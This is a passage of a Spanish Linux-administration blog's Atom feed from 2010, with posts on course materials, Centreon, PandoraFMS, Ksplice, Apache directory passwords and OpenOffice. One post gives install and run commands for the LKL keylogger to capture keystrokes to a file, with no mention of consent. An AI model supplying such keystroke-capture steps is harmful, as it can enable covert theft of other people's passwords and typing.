href='http://www.blogger.com/feeds/3971268403351675079/posts/default/7614169957836747938'/><link rel='alternate' type='text/html' href='http://decibel-elektrobeat.blogspot.com/2010/09/instalacion-de-centreonnagios.html' title='Instalación de Centreon/Nagios'/><author><name>Elektrobeat</name><uri>http://www.blogger.com/profile/08284449042959808457</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='21' height='32' src='http://4.bp.blogspot.com/_ftTE5yk93Zc/S3t7Im2shgI/AAAAAAAAAA0/pYlzDqfyQEE/S220/armando.png'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-3971268403351675079.post-4276484251554866630</id><published>2010-08-25T16:27:00.000-07:00</published><updated>2011-06-29T07:55:36.923-07:00</updated><category scheme='http://www.blogger.com/atom/ns#' term='Curso'/><category scheme='http://www.blogger.com/atom/ns#' term='Linux'/><category scheme='http://www.blogger.com/atom/ns#' term='Administracion'/><title type='text'>Taller de Linux</title><content type='html'>&lt;div style="font-family: Verdana,sans-serif;"&gt;&lt;div class="separator" style="clear: both; text-align: center;"&gt;&lt;a href="http://www.tecnopedia.net/wp-content/uploads/2011/05/powered-by-gnu-linux.png" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"&gt;&lt;img border="0" height="320" src="http://www.tecnopedia.net/wp-content/uploads/2011/05/powered-by-gnu-linux.png" width="213" /&gt;&lt;/a&gt;&lt;/div&gt;&lt;br /&gt;Hola a todos chicos, aquí les dejo un enlace para descargar el material visto en el curso de &lt;b&gt;Administración Básica de Linux&lt;/b&gt;.&lt;/div&gt;&lt;div style="font-family: Verdana,sans-serif;"&gt;&lt;br /&gt;&lt;/div&gt;&lt;div style="font-family: Verdana,sans-serif;"&gt;&lt;a href="http://www.megaupload.com/?d=2E6ISPGM"&gt;Descargar aquí el temario.&lt;/a&gt; &lt;/div&gt;&lt;div style="font-family: Verdana,sans-serif;"&gt;&lt;a href="http://www.megaupload.com/?d=N2QXQQZJ"&gt;Descargar aquí la presentación.&lt;/a&gt;&lt;/div&gt;&lt;div style="font-family: Verdana,sans-serif;"&gt;&lt;a href="http://www.megaupload.com/?d=AGAYPHTX"&gt;Descargar aquí las prácticas.&lt;/a&gt;&amp;nbsp; &lt;/div&gt;&lt;div style="font-family: Verdana,sans-serif;"&gt;&lt;br /&gt;&lt;/div&gt;&lt;div style="font-family: Verdana,sans-serif;"&gt;Después les subiré la demás bibliografía usada. &lt;/div&gt;&lt;div style="font-family: Verdana,sans-serif;"&gt;&lt;br /&gt;&lt;/div&gt;&lt;div style="font-family: Verdana,sans-serif;"&gt;Saludos a todos...&lt;/div&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/3971268403351675079-4276484251554866630?l=decibel-elektrobeat.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://decibel-elektrobeat.blogspot.com/feeds/4276484251554866630/comments/default' title='Enviar comentarios'/><link rel='replies' type='text/html' href='http://decibel-elektrobeat.blogspot.com/2010/08/taller-de-linux.html#comment-form' title='0 comentarios'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/3971268403351675079/posts/default/4276484251554866630'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/3971268403351675079/posts/default/4276484251554866630'/><link rel='alternate' type='text/html' href='http://decibel-elektrobeat.blogspot.com/2010/08/taller-de-linux.html' title='Taller de Linux'/><author><name>Elektrobeat</name><uri>http://www.blogger.com/profile/08284449042959808457</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='21' height='32' src='http://4.bp.blogspot.com/_ftTE5yk93Zc/S3t7Im2shgI/AAAAAAAAAA0/pYlzDqfyQEE/S220/armando.png'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-3971268403351675079.post-315620448485950384</id><published>2010-08-22T21:51:00.000-07:00</published><updated>2010-08-22T21:51:36.906-07:00</updated><category scheme='http://www.blogger.com/atom/ns#' term='español'/><category scheme='http://www.blogger.com/atom/ns#' term='Linux'/><category scheme='http://www.blogger.com/atom/ns#' term='nagios'/><category scheme='http://www.blogger.com/atom/ns#' term='centreon'/><title type='text'>Aviso: próxima publicación de documentación de Centreon</title><content type='html'>Para quienes consulten este blog, sépanse que en unos días más haré la publicación sobre la manera de configurar Centreón, ya que lo he terminado, entregado y me han calificado, y pues la verdad no es mi intención guardar ese conocimiento tan valioso para mi solo.&lt;br /&gt;&lt;br /&gt;Espero algunos comentarios para si a alguien le urge que lo suba&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/3971268403351675079-315620448485950384?l=decibel-elektrobeat.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://decibel-elektrobeat.blogspot.com/feeds/315620448485950384/comments/default' title='Enviar comentarios'/><link rel='replies' type='text/html' href='http://decibel-elektrobeat.blogspot.com/2010/08/aviso-proxima-publicacion-de.html#comment-form' title='0 comentarios'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/3971268403351675079/posts/default/315620448485950384'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/3971268403351675079/posts/default/315620448485950384'/><link rel='alternate' type='text/html' href='http://decibel-elektrobeat.blogspot.com/2010/08/aviso-proxima-publicacion-de.html' title='Aviso: próxima publicación de documentación de Centreon'/><author><name>Elektrobeat</name><uri>http://www.blogger.com/profile/08284449042959808457</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='21' height='32' src='http://4.bp.blogspot.com/_ftTE5yk93Zc/S3t7Im2shgI/AAAAAAAAAA0/pYlzDqfyQEE/S220/armando.png'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-3971268403351675079.post-2157455564595146566</id><published>2010-08-04T14:11:00.000-07:00</published><updated>2010-08-04T14:11:56.783-07:00</updated><category scheme='http://www.blogger.com/atom/ns#' term='monitoreo de red'/><category scheme='http://www.blogger.com/atom/ns#' term='pandora'/><category scheme='http://www.blogger.com/atom/ns#' term='Linux'/><category scheme='http://www.blogger.com/atom/ns#' term='pandorafms'/><category scheme='http://www.blogger.com/atom/ns#' term='centreon'/><title type='text'>PandoraFMS</title><content type='html'>&lt;span style="font-family: &amp;quot;Arial&amp;quot;, &amp;quot;Helvetica&amp;quot;, sans-serif;"&gt;&lt;/span&gt;&lt;br /&gt;&lt;div class="separator" style="clear: both; text-align: center;"&gt;&lt;a href="http://openideas.info/wiki/images/1/14/Pandora_fms_logo_v3.png" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"&gt;&lt;img border="0" src="http://openideas.info/wiki/images/1/14/Pandora_fms_logo_v3.png" /&gt;&lt;/a&gt;&lt;/div&gt;&lt;br /&gt;&lt;span style="font-family: &amp;quot;Arial&amp;quot;, &amp;quot;Helvetica&amp;quot;, sans-serif;"&gt;Hace un tiempo comenté que estaba usando Centreon, un front-end para Nagios, desgraciadamente la documentación para Centreon es escasa y limitada al idioma francés, pues bien, por azares del destino me he encontrado a uno de los competidores de Nagios, su nombre es PandoraFMS y también es Open Source. Este sistema sí tiene documentación disponible en el idioma de Cervantes.&lt;/span&gt;&lt;span style="font-family: &amp;quot;Arial&amp;quot;, &amp;quot;Helvetica&amp;quot;, sans-serif;"&gt;&amp;nbsp;&lt;/span&gt;&lt;br /&gt;&lt;span style="font-family: &amp;quot;Arial&amp;quot;, &amp;quot;Helvetica&amp;quot;, sans-serif;"&gt;&lt;br /&gt;Pandora FMS es un software de Código Abierto que sirve para monitorizar y medir todo tipo de elementos. Monitoriza sistemas, aplicaciones o dispositivos. Permite saber el estado de cada elemento de un sistemas a lo largo del tiempo. &lt;br /&gt;&lt;br /&gt;Pandora FMS puede detectar si una interfaz de red se ha caído, un ataque de "defacement" en una web, una pérdida de memoria en algun servidor de aplicaciones, o el movimiento de un valor del NASDAQ. Pandora FMS puede enviar SMS si un sistema falla o cuando las acciones de Google bajan de 500 dólares.&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;&lt;span style="font-family: &amp;quot;Arial&amp;quot;, &amp;quot;Helvetica&amp;quot;, sans-serif;"&gt;En lo personal, yo no lo he probado, pero de haberlo sabido antes, pues lo hubiera usado.&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;&lt;span style="font-family: &amp;quot;Arial&amp;quot;, &amp;quot;Helvetica&amp;quot;, sans-serif;"&gt;&lt;a href="http://pandorafms.org/index.php?sec=project&amp;amp;sec2=home&amp;amp;lng=es"&gt;La página en español se encuentra aquí.&lt;/a&gt;&lt;/span&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/3971268403351675079-2157455564595146566?l=decibel-elektrobeat.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://decibel-elektrobeat.blogspot.com/feeds/2157455564595146566/comments/default' title='Enviar comentarios'/><link rel='replies' type='text/html' href='http://decibel-elektrobeat.blogspot.com/2010/08/pandorafms.html#comment-form' title='0 comentarios'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/3971268403351675079/posts/default/2157455564595146566'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/3971268403351675079/posts/default/2157455564595146566'/><link rel='alternate' type='text/html' href='http://decibel-elektrobeat.blogspot.com/2010/08/pandorafms.html' title='PandoraFMS'/><author><name>Elektrobeat</name><uri>http://www.blogger.com/profile/08284449042959808457</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='21' height='32' src='http://4.bp.blogspot.com/_ftTE5yk93Zc/S3t7Im2shgI/AAAAAAAAAA0/pYlzDqfyQEE/S220/armando.png'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-3971268403351675079.post-6832307619211527980</id><published>2010-08-04T14:01:00.000-07:00</published><updated>2010-08-04T14:01:26.027-07:00</updated><category scheme='http://www.blogger.com/atom/ns#' term='Linux'/><category scheme='http://www.blogger.com/atom/ns#' term='Kernel'/><category scheme='http://www.blogger.com/atom/ns#' term='ksplice'/><title type='text'>Ksplice, actulizar el kernel sin reiniciar</title><content type='html'>&lt;div class="separator" style="clear: both; text-align: center;"&gt;&lt;a href="http://www.ksplice.com/images/ksplice-trans.png" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"&gt;&lt;img border="0" src="http://www.ksplice.com/images/ksplice-trans.png" /&gt;&lt;/a&gt;&lt;/div&gt;&lt;br /&gt;&lt;span style="font-family: &amp;quot;Arial&amp;quot;, &amp;quot;Helvetica&amp;quot;, sans-serif;"&gt;Queridos lectores, se acabaron esas tardes en la oficina a esperar que todo el mundo se valla para reiniciar una maquina, eso se acabo. La gente de ksplice ha pensado en esto y nos ofrece su software para poder tener la máxima disponibilidad.&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;Funciona congelando el sistema dejando solo un proceso abierto, entonces es cuando se actualiza el kernel, una vez actualizado se descongela el sistema con el kernel nuevo.&lt;br /&gt;&lt;br /&gt;Si tenemos Ubuntu lo podemos conseguir gratis, si no debemos abonar cerca de 4 dolares al mes.&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;&lt;span style="font-family: &amp;quot;Arial&amp;quot;, &amp;quot;Helvetica&amp;quot;, sans-serif;"&gt;Fuente &lt;a href="http://linuxadmin.es/20100219-ksplice-actulizar-el-kernel-sin-reiniciar.htm"&gt;aquí&lt;/a&gt;.&amp;nbsp;&lt;/span&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/3971268403351675079-6832307619211527980?l=decibel-elektrobeat.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://decibel-elektrobeat.blogspot.com/feeds/6832307619211527980/comments/default' title='Enviar comentarios'/><link rel='replies' type='text/html' href='http://decibel-elektrobeat.blogspot.com/2010/08/ksplice-actulizar-el-kernel-sin.html#comment-form' title='0 comentarios'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/3971268403351675079/posts/default/6832307619211527980'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/3971268403351675079/posts/default/6832307619211527980'/><link rel='alternate' type='text/html' href='http://decibel-elektrobeat.blogspot.com/2010/08/ksplice-actulizar-el-kernel-sin.html' title='Ksplice, actulizar el kernel sin reiniciar'/><author><name>Elektrobeat</name><uri>http://www.blogger.com/profile/08284449042959808457</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='21' height='32' src='http://4.bp.blogspot.com/_ftTE5yk93Zc/S3t7Im2shgI/AAAAAAAAAA0/pYlzDqfyQEE/S220/armando.png'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-3971268403351675079.post-4474373614124199196</id><published>2010-08-04T13:58:00.000-07:00</published><updated>2010-08-04T14:02:14.208-07:00</updated><category scheme='http://www.blogger.com/atom/ns#' term='Linux'/><category scheme='http://www.blogger.com/atom/ns#' term='keylogger'/><title type='text'>Keylogger para Linux, LKL</title><content type='html'>&lt;div class="separator" style="clear: both; text-align: center;"&gt;&lt;a href="http://www.vinagreasesino.com/wp-content/uploads/2009/05/keylogger.png" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"&gt;&lt;img border="0" src="http://www.vinagreasesino.com/wp-content/uploads/2009/05/keylogger.png" /&gt;&lt;/a&gt;&lt;/div&gt;&lt;span style="font-family: &amp;quot;Arial&amp;quot;, &amp;quot;Helvetica&amp;quot;, sans-serif;"&gt;&lt;br /&gt;&lt;/span&gt;&lt;span style="font-family: &amp;quot;Arial&amp;quot;, &amp;quot;Helvetica&amp;quot;, sans-serif;"&gt;LKL, data del 2005 pero hace su trabajo y funciona. Para el que no sepa lo que haces, este programa, captura todos los movimientos que haces con el teclado a grandes rasgos.&amp;nbsp;&lt;/span&gt;&lt;br /&gt;&lt;span style="font-family: &amp;quot;Arial&amp;quot;, &amp;quot;Helvetica&amp;quot;, sans-serif;"&gt;Para instalar:&lt;/span&gt;&lt;span style="font-family: &amp;quot;Arial&amp;quot;, &amp;quot;Helvetica&amp;quot;, sans-serif;"&gt;&lt;br /&gt;&lt;/span&gt;&lt;span style="font-family: &amp;quot;Arial&amp;quot;, &amp;quot;Helvetica&amp;quot;, sans-serif;"&gt;&lt;br /&gt;&lt;/span&gt;&lt;span style="font-family: &amp;quot;Courier New&amp;quot;, &amp;quot;Courier&amp;quot;, monospace;"&gt;#wget http://switch.dl.sourceforge.net/project/lkl/lkl-0.1.1/lkl-0.1.1/lkl-0.1.1.tar.gz&lt;/span&gt;&lt;br /&gt;&lt;span style="font-family: &amp;quot;Courier New&amp;quot;, &amp;quot;Courier&amp;quot;, monospace;"&gt;#tar xvf lkl-0.1.1.tar.gz&lt;/span&gt;&lt;br /&gt;&lt;span style="font-family: &amp;quot;Courier New&amp;quot;, &amp;quot;Courier&amp;quot;, monospace;"&gt;#cd lkl&lt;/span&gt;&lt;br /&gt;&lt;span style="font-family: &amp;quot;Courier New&amp;quot;, &amp;quot;Courier&amp;quot;, monospace;"&gt;#./configure&lt;/span&gt;&lt;br /&gt;&lt;span style="font-family: &amp;quot;Courier New&amp;quot;, &amp;quot;Courier&amp;quot;, monospace;"&gt;#make &amp;amp;&amp;amp; sudo make install&lt;/span&gt;&lt;span style="font-family: &amp;quot;Arial&amp;quot;, &amp;quot;Helvetica&amp;quot;, sans-serif;"&gt;&lt;br /&gt;&lt;/span&gt;&lt;span style="font-family: &amp;quot;Arial&amp;quot;, &amp;quot;Helvetica&amp;quot;, sans-serif;"&gt;&lt;br /&gt;&lt;/span&gt;&lt;span style="font-family: &amp;quot;Arial&amp;quot;, &amp;quot;Helvetica&amp;quot;, sans-serif;"&gt;Listo, para usar:&lt;/span&gt;&lt;span style="font-family: &amp;quot;Arial&amp;quot;, &amp;quot;Helvetica&amp;quot;, sans-serif;"&gt;&lt;br /&gt;&lt;/span&gt;&lt;span style="font-family: &amp;quot;Arial&amp;quot;, &amp;quot;Helvetica&amp;quot;, sans-serif;"&gt;&lt;br /&gt;&lt;/span&gt;&lt;span style="font-family: &amp;quot;Courier New&amp;quot;, &amp;quot;Courier&amp;quot;, monospace;"&gt;#lkl -l -k keymaps/us_km -o captura.txt&lt;/span&gt;&lt;br /&gt;&lt;span style="font-family: &amp;quot;Arial&amp;quot;, &amp;quot;Helvetica&amp;quot;, sans-serif;"&gt;&lt;/span&gt;&lt;span style="font-family: &amp;quot;Arial&amp;quot;, &amp;quot;Helvetica&amp;quot;, sans-serif;"&gt;&lt;br /&gt;&lt;/span&gt;&lt;br /&gt;&lt;span style="font-family: &amp;quot;Arial&amp;quot;, &amp;quot;Helvetica&amp;quot;, sans-serif;"&gt;Fuente Original &lt;/span&gt;&lt;a href="http://linuxadmin.es/20100109-keylogger-para-linux-lkl.htm"&gt;&lt;span style="font-family: &amp;quot;Arial&amp;quot;, &amp;quot;Helvetica&amp;quot;, sans-serif;"&gt;aquí&lt;/span&gt;&lt;/a&gt;&lt;span style="font-family: &amp;quot;Arial&amp;quot;, &amp;quot;Helvetica&amp;quot;, sans-serif;"&gt;.&lt;/span&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/3971268403351675079-4474373614124199196?l=decibel-elektrobeat.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://decibel-elektrobeat.blogspot.com/feeds/4474373614124199196/comments/default' title='Enviar comentarios'/><link rel='replies' type='text/html' href='http://decibel-elektrobeat.blogspot.com/2010/08/keylogger-para-linux-lkl.html#comment-form' title='0 comentarios'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/3971268403351675079/posts/default/4474373614124199196'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/3971268403351675079/posts/default/4474373614124199196'/><link rel='alternate' type='text/html' href='http://decibel-elektrobeat.blogspot.com/2010/08/keylogger-para-linux-lkl.html' title='Keylogger para Linux, LKL'/><author><name>Elektrobeat</name><uri>http://www.blogger.com/profile/08284449042959808457</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='21' height='32' src='http://4.bp.blogspot.com/_ftTE5yk93Zc/S3t7Im2shgI/AAAAAAAAAA0/pYlzDqfyQEE/S220/armando.png'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-3971268403351675079.post-8311466540143332408</id><published>2010-08-04T13:43:00.000-07:00</published><updated>2010-08-04T13:43:06.410-07:00</updated><category scheme='http://www.blogger.com/atom/ns#' term='http'/><category scheme='http://www.blogger.com/atom/ns#' term='contraseña'/><category scheme='http://www.blogger.com/atom/ns#' term='password'/><category scheme='http://www.blogger.com/atom/ns#' term='Linux'/><category scheme='http://www.blogger.com/atom/ns#' term='apache'/><category scheme='http://www.blogger.com/atom/ns#' term='httpd'/><title type='text'>Directorios de Apache protegidos por contraseña</title><content type='html'>&lt;span style="font-family: &amp;quot;Verdana&amp;quot;, sans-serif;"&gt;&lt;/span&gt;&lt;br /&gt;&lt;span style="font-family: &amp;quot;Verdana&amp;quot;, sans-serif;"&gt;&lt;/span&gt;&lt;br /&gt;&lt;div class="separator" style="clear: both; text-align: center;"&gt;&lt;a href="http://www.forat.info/wp-content/uploads/2008/02/apache-1.gif" imageanchor="1" style="clear: left; float: left; margin-bottom: 1em; margin-right: 1em;"&gt;&lt;img border="0" height="200" src="http://www.forat.info/wp-content/uploads/2008/02/apache-1.gif" width="148" /&gt;&lt;/a&gt;&lt;/div&gt;&lt;span style="font-family: &amp;quot;Verdana&amp;quot;, sans-serif;"&gt;&lt;br /&gt;&amp;nbsp;&lt;/span&gt;&lt;br /&gt;&lt;span style="font-family: &amp;quot;Verdana&amp;quot;, sans-serif;"&gt;Buscando en internet por alguna información de redes, me encontré con este artículo y decidí postearlo porque considero que es interesante.&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;&lt;span style="font-family: &amp;quot;Verdana&amp;quot;, sans-serif;"&gt;La situación es la siguiente, tenemos la carpeta &lt;/span&gt;&lt;span style="font-family: &amp;quot;Courier New&amp;quot;, &amp;quot;Courier&amp;quot;, monospace;"&gt;/var/www/hide/&lt;/span&gt;&lt;span style="font-family: &amp;quot;Verdana&amp;quot;, sans-serif;"&gt; que esta disponible para todos pero queremos que no. Así que empezamos:&lt;br /&gt;&lt;br /&gt;El comando siguiente nos crea el archivo y un usuario, es como el comando adduser&lt;br /&gt;&lt;/span&gt;&lt;span style="font-family: &amp;quot;Courier New&amp;quot;, &amp;quot;Courier&amp;quot;, monospace;"&gt;#htpasswd -c /etc/httpd/passwd elektrobeat&lt;/span&gt;&lt;span style="font-family: &amp;quot;Verdana&amp;quot;, sans-serif;"&gt;&lt;br /&gt;&lt;br /&gt;Ahora unos arreglos en el fichero de configuración de apache, deberás añadir estas lineas:&lt;br /&gt;&lt;br /&gt;&amp;lt;Directory “/var/www/hide/”&amp;gt;&lt;br /&gt;AuthType Basic&lt;br /&gt;AuthName “Directorio Restringido”&lt;br /&gt;AuthUserFile /etc/httpd/passwd&lt;br /&gt;Require user elektrobeat&lt;br /&gt;&amp;lt;/Directory&amp;gt;&lt;br /&gt;&lt;br /&gt;Reiniciamos apache:&lt;br /&gt;&lt;/span&gt;&lt;span style="font-family: &amp;quot;Courier New&amp;quot;, &amp;quot;Courier&amp;quot;, monospace;"&gt;#/etc/init.d/httpd restart&lt;/span&gt;&lt;span style="font-family: &amp;quot;Verdana&amp;quot;, sans-serif;"&gt;&lt;br /&gt;&lt;br /&gt;Si queremos más usuarios:&lt;br /&gt;&lt;/span&gt;&lt;span style="font-family: &amp;quot;Courier New&amp;quot;, &amp;quot;Courier&amp;quot;, monospace;"&gt;#htpasswd -b /etc/httpd/passwd decibel&lt;/span&gt;&lt;span style="font-family: &amp;quot;Verdana&amp;quot;, sans-serif;"&gt;&lt;br /&gt;&lt;br /&gt;Si queremos que más de 2 usuarios vean la carpeta &lt;/span&gt;&lt;span style="font-family: &amp;quot;Courier New&amp;quot;, &amp;quot;Courier&amp;quot;, monospace;"&gt;/var/www/hide/&lt;/span&gt;&lt;span style="font-family: &amp;quot;Verdana&amp;quot;, sans-serif;"&gt; el fichero de apache será así:&lt;br /&gt;&lt;br /&gt;&amp;lt;Directory “/var/www/hide/”&amp;gt;&lt;br /&gt;AuthType Basic&lt;br /&gt;AuthName “Directorio Restringido”&lt;br /&gt;AuthUserFile /etc/httpd/passwd&lt;br /&gt;Require user elektrobeat&lt;br /&gt;Require user decibel&lt;br /&gt;&amp;lt;/Directory&amp;gt;&lt;br /&gt;&lt;br /&gt;Cuando hagas cambios en el fichero de apache debes de reiniciar el servicio.&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;&lt;span style="font-family: &amp;quot;Verdana&amp;quot;, sans-serif;"&gt;Fuente original &lt;a href="http://linuxadmin.es/20100217-directorios-de-apache-con-contrasena.htm"&gt;aquí&lt;/a&gt;.&amp;nbsp;&lt;/span&gt;&lt;br /&gt;&lt;span style="font-family: &amp;quot;Verdana&amp;quot;, sans-serif;"&gt;&amp;nbsp;&lt;/span&gt;&lt;span style="font-family: &amp;quot;Trebuchet MS&amp;quot;, sans-serif;"&gt;&lt;br /&gt;&lt;/span&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/3971268403351675079-8311466540143332408?l=decibel-elektrobeat.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://decibel-elektrobeat.blogspot.com/feeds/8311466540143332408/comments/default' title='Enviar comentarios'/><link rel='replies' type='text/html' href='http://decibel-elektrobeat.blogspot.com/2010/08/directorios-de-apache-protegidos-por.html#comment-form' title='0 comentarios'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/3971268403351675079/posts/default/8311466540143332408'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/3971268403351675079/posts/default/8311466540143332408'/><link rel='alternate' type='text/html' href='http://decibel-elektrobeat.blogspot.com/2010/08/directorios-de-apache-protegidos-por.html' title='Directorios de Apache protegidos por contraseña'/><author><name>Elektrobeat</name><uri>http://www.blogger.com/profile/08284449042959808457</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='21' height='32' src='http://4.bp.blogspot.com/_ftTE5yk93Zc/S3t7Im2shgI/AAAAAAAAAA0/pYlzDqfyQEE/S220/armando.png'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-3971268403351675079.post-9189987460238588534</id><published>2010-08-02T15:52:00.000-07:00</published><updated>2010-08-02T15:52:10.173-07:00</updated><category scheme='http://www.blogger.com/atom/ns#' term='Linux'/><category scheme='http://www.blogger.com/atom/ns#' term='office'/><category scheme='http://www.blogger.com/atom/ns#' term='openoffice'/><title type='text'>OpenOffice 3.3 está de camino.</title><content type='html'>&lt;div class="separator" style="clear: both; text-align: center;"&gt;&lt;a href="http://www.bibliotecalibre.cl/images/blibre/openoffice_logo.gif" imageanchor="1" style="clear: left; float: left; margin-bottom: 1em; margin-right: 1em;"&gt;&lt;img border="0" height="200" src="http://www.bibliotecalibre.cl/images/blibre/openoffice_logo.gif" width="200" /&gt;&lt;/a&gt;&lt;/div&gt;&lt;div align="justify"&gt;&lt;span style="font-family: &amp;quot;Arial&amp;quot;, &amp;quot;Helvetica&amp;quot;, sans-serif;"&gt;&lt;br /&gt;Afortunadamente, no todos los proyectos que heredó Oracle de Sun están en estado de animación suspendida y, en el caso de OpenOffice.org, nada más lejos de la realidad. El día 24 de julio se decretó el "feature freeze" para la versión 3.3 de la suite.&lt;br /&gt;&lt;br /&gt;Esto significa que a partir de ahora, no se admiten nuevas modificaciones ni adiciones a las características ya establecidas de la versión, sólo parches y correcciones de errores.&lt;br /&gt;&lt;br /&gt;Un "feature freeze" suele ser indicativo de que el lanzamiento de una nueva versión de un software es inminente (significando "inminente" en este contexto "cuestión de semanas" ), por tanto, es muy probable que veamos OpenOffice.org 3.3 antes del final del verano.&lt;/span&gt;&lt;/div&gt;&lt;div align="justify"&gt;&lt;br /&gt;&lt;/div&gt;&lt;div align="justify"&gt;&lt;span style="font-family: &amp;quot;Arial&amp;quot;, &amp;quot;Helvetica&amp;quot;, sans-serif;"&gt;Seamos objetivos, puedo decir que OpenOffice es una suite de oficina gratuita y libre, ciertamente se presta para ser productivo, pero la verdad es que Office de Micro$$oft le lleva mucho la delantera en la versatilidad que presta en cuanto al manejo de contenidos visuales, yo personalmente no me acostumbro a usar openoffice.&lt;/span&gt;&lt;/div&gt;&lt;br /&gt;&lt;span style="font-family: &amp;quot;Arial&amp;quot;, &amp;quot;Helvetica&amp;quot;, sans-serif;"&gt;Fuente: &lt;a href="http://www.linux-magazine.es/"&gt;Linux Magazine aquí.&lt;/a&gt;&lt;/span&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/3971268403351675079-9189987460238588534?l=decibel-elektrobeat.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://decibel-elektrobeat.blogspot.com/feeds/9189987460238588534/comments/default' title='Enviar comentarios'/><link rel='replies' type='text/html' href='http://decibel-elektrobeat.blogspot.com/2010/08/openoffice-33-esta-de-camino.html#comment-form' title='0 comentarios'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/3971268403351675079/posts/default/9189987460238588534'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/3971268403351675079/posts/default/9189987460238588534'/><link rel='alternate' type='text/html' href='http://decibel-elektrobeat.blogspot.com/2010/08/openoffice-33-esta-de-camino.html' title='OpenOffice 3.3 está de camino.'/><author><name>Elektrobeat</name><uri>http://www.blogger.com/profile/08284449042959808457</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='21' height='32' src='http://4.bp.blogspot.com/_ftTE5yk93Zc/S3t7Im2shgI/AAAAAAAAAA0/pYlzDqfyQEE/S220/armando.png'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-3971268403351675079.post-5025282910489769558</id><published>2010-07-30T08:30:00.000-07:00</published><updated>2010-07-30T08:30:37.542-07:00</updated><category scheme='http://www.blogger.com/atom/ns#' term='laser'/><category scheme='http://www.blogger.com/atom/ns#' term='intel'/><category scheme='http://www.blogger.com/atom/ns#' term='silicon'/><title type='text'>Intel Makes Advance in Silicon-Based Lasers</title><content type='html'>&lt;span style="font-family: &amp;quot;Arial&amp;quot;, &amp;quot;Helvetica&amp;quot;, sans-serif;"&gt;New technology from Intel could lead to the development of computers that use  light beams to move data. Intel says it has built a communications device using  components from silicon, including lasers that operate at a very fast speed.  Link, the prototype device, includes a transmitter chip with four silicon-based  lasers that each send data at 12.5 billion bits per second, or 50 gigabits  total. Some commercial networking hardware can send 40 gigabits of data per  second, but the devices may cost hundreds of dollars or more per connection,  says Intel's Justin Rattner. Intel believes it can reach prices as low as $1 per  connection and achieve greater speeds--up to 1 trillion bits per second.  However, the company must improve its techniques for producing the components in  high volumes, says Intel's Mario Paniccia. Intel says the development could lead  to new commercial products and change the way computers are designed.&lt;/span&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/3971268403351675079-5025282910489769558?l=decibel-elektrobeat.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' 